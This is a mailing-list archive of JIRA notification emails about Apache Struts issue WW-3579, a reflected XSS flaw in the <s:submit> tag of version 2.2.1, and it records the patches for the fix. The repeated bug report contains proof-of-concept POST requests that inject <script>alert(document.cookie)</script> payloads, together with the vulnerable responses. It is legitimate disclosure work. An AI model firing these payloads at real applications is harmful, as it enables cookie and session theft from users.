> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13001394#comment-13001394 ] 

Marian Ventuneac commented on WW-3579:
--------------------------------------

Looking forward for the new Struts 2 release. Please let me know when you plan it, just to make sure I have the required security advisory ready (to be published on http://ventuneac.net)

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>             Fix For: 2.2.2
>
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Work started: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Work on WW-3579 started by Lukasz Lenart.

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13001387#comment-13001387 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

Ok, I've used struts2-blank with DMI enabled and it passed the test. So, we can close that issue and start preparing a new release :-)

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>             Fix For: 2.2.2
>
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lukasz Lenart updated WW-3579:
------------------------------

    Attachment: WW-35791-4.patch

A more optimal solution, action name and method name are escaped in the constructor.

Action name can not be JavaScript escaped as it can contain slashes (which is valid) and then will break backward compatibility.

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
